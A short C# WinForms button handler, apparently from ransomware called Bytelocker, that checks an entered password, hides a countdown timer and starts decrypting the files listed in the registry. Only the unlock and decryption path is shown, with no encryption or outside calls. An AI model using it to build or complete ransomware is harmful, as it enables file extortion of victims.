예제 #1
0
        private void BtnVerify_Click(object sender, EventArgs e)
        {
            pm = new PasswordManager();
            pm.FetchPassword();
            if (!(tbPassInput.Text == pm.returnPassword()))
            {
                MessageBox.Show("Invalid Password", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            else
            {
                tmTimeLeftRefresher.Stop();
                BtnVerify.Hide();

                lbTimeLeft.Text = "";
                rtfInfo.Clear();
                tbPassInput.Hide();
                lbTitleTime.Hide();
                lbTitle.Text = "Decrypting . . .";
                lbTitle.Show();
                lbCurrentFileDecrypt.Show();
                pbDecryptProgress.Show();

                progress_bar_inc = pbDecryptProgress.Maximum / rm.ReadAllValues(RegistryManager.FILES_KEY_NAME).Count;

                tmTimerDecrypt.Start();

                new Thread(() =>
                {
                    Thread.CurrentThread.IsBackground = true;
                    Bytelocker.Decrypt();
                }).Start();
            }

            pm = null;
        }